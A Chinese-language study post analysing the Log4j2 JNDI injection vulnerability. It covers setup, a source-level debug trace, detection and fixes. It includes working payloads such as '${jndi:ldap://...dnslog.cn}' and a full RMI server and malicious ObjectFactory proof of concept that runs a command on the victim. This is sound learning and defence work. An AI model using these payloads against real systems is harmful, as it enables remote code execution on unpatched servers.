log4j2漏洞学习
log4j与log4j2区别
配置文件
log4j用.properties的文件作为主配置文件的,而现在的log4j 2则已经弃用了这种方式,采用的是.xml,.json或者.jsn这种方式来做
核心jar包
log4j只需要引入一个jar包即可,
1 2 3 4 5
| <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency>
|
而log4j 2则是需要2个核心
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.5</version> </dependency>
|
log4j和log4j 2的包路径是不同的,甚至可以在一个项目中使用2个版本的日志输出
文件渲染
log4j想要生效,我们需要在web.xml中进行配置
log4j2就比较简单,以maven工程为例,我们只需要把log4j2.xml放到工程resource目录下就行了。大家记住一个细节点,是log4j2.xml,而不是log4j.xml,xml名字少个2都不行
log调用
log4j
1 2
| import org.apache.log4j.Logger; private final Logger LOGGER = Logger.getLogger(Test.class.getName());
|
log4j2
1 2 3 4
| import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; private static Logger logger = LogManager.getLogger(Test.class.getName());
|
踩坑记录
如果log4j.properties一直不起作用,将其复制到target的classesxia
一些配置教训
注意版本对应
如果是2021.3的idea,不要使用高版本maven,应使用3.5.4
引入依赖
第一次引入会因为没有下载而爆红,点击刷新即可
导包注意名称
1 2
| import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager;
|
2.14.0 log4j导包
注意:还是得换成jdk1.8
解决,在pom.xml中加入以下标签
1 2 3 4 5 6 7 8 9 10 11 12 13
| <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> <configuration> <source>${java.version}</source> <target>${java.version}</target> <encoding>UTF-8</encoding> <compilerArguments> <bootclasspath>${java.home}/lib/rt.jar</bootclasspath> </compilerArguments> </configuration> </plugin>
|
注意:plugin标签要包裹在plugins中,plugins要包裹在build中
基本使用
一般将日志对象定义为当前类等静态私有成员
使用占位符{}打印日志
1 2 3 4 5
| public static void main(String[] args) { String user = "bob";
logger.error("{} is not exited!",user); }
|
成功打印
lookups
可以通过${xxx:xxx}
等形式快速获取运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。
漏洞及分析
影响版本范围
2.0-beta9 <= Apache Log4j <= 2.15.0-rc1(1.x不受影响)
需要导入log4j-core才行
先用2.14.0做实验(JDK 1.8下)
原理:JNDI注入
利用lookups获取敏感信息
输出JDK版本
1
| LOGGER.error("Java version :{}","${java:version}");
|
原因
组件中lookup功能的实现类JndiLookup的设计缺陷导致,这个类是在Log4j-core-xxx.jar,所以这个漏洞和Log4j-core有关
在调用lookup方法处打断点
JNDI lookup的方法调用在InitialContext.java中
Debug过程
测试代码
1
| logger.error("野猪热恋${jndi:ldap://atf6sq.dnslog.cn}");
|
直接传入的就是${}中的内容(没有过滤),也没有传入其他部分
查看执行链过程,该lookup方法后续在JndiLookup中被调用
过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| JndiLookup.java: var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
JndiManager.java: public T lookup(final String name) throws NamingException { return this.context.lookup(name); }
Context.java: public Object lookup(String name) throws NamingException;
InitialContext.java public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }
|
之后处理变量的工作交给了StrSubstitutor这个类
之后又调用了MessagePatternConverter这个类的format方法
- 首先是noLookups这个属性,设置成了false,导致下面代码的执行(现在漏洞修复将这个noLookups设置成true)
- 后面的if明显是要定位到
${
(并且是连续的),如果有这两个字符就去replace函数替换
- config.getStrSubstitutor()就是上面说的StrSubstitutor
Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给StrSubstitutor这个类去处理。
StrSubstitutor中resolveVariable方法获取${}中字符串
可以看到resolver中的内容,可以看到Lookups定义了12种处理类型,如果能匹配到这几种处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。
如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}
这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello
。resolver会将第一个”:”之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello
交给jdni的处理器JndiLookup去处理。
传入是信息debug标注,最好用的lookup.lookup也是JNDI的lookup
从而得到了lookup的结果
noLookups相关
调用formate
赋值操作(位于 MessagePatternConverter类中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int noLookupsIdx = this.loadNoLookups(options); this.noLookups = Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0;
private int loadNoLookups(final String[] options) { if (options != null) { for(int i = 0; i < options.length; ++i) { String option = options[i]; if ("nolookups".equalsIgnoreCase(option)) { return i; } } }
return -1; }
|
由于调用 MessagePatternConverter类的format方法 没有传入options且config非空,并且环境变量也没有设置因此noLookups为false
漏洞检测方法
通过dnslog,还能查看jdk版本是否支持RMI或者ldap服务
1
| ${jndi:dns://${sys:java.version}.dnslog/}
|
修复
1、升级到2.17.0版本及以上
2、参数、环境设置
JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA
JNDI注入
JDK:11.0.15
简介
JNDI相当于自己做一个服务,如果访问了会直接在放我这本机上执行方法中的代码
简单复现
结构
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.cui.log4jtest.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception { try{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry();
System.out.println("RMI Listener 1099 port"); Reference reference = new Reference("com.cui.log4jtest.rmi.EvilObj", "com.cui.log4jtest.rmi.EvilObj", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("test", referenceWrapper);
}catch (Exception e){ e.printStackTrace(); } } }
|
EvilObj.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable;
public class EvilObj implements ObjectFactory { static { System.out.println("open a Calculator!"); try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
log4jDemo1.java
1 2 3 4 5 6 7 8 9 10 11 12
| import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jDemo1 { private static Logger logger = LogManager.getLogger();
public static void main(String[] args) { try { String str = "${jndi:rmi://127.0.0.1:1099/test}"; logger.info("输出的信息是:{}", str); }catch (Exception e){} } }
|
先启动RMIServer再启动log4jDemo1就会弹出计算器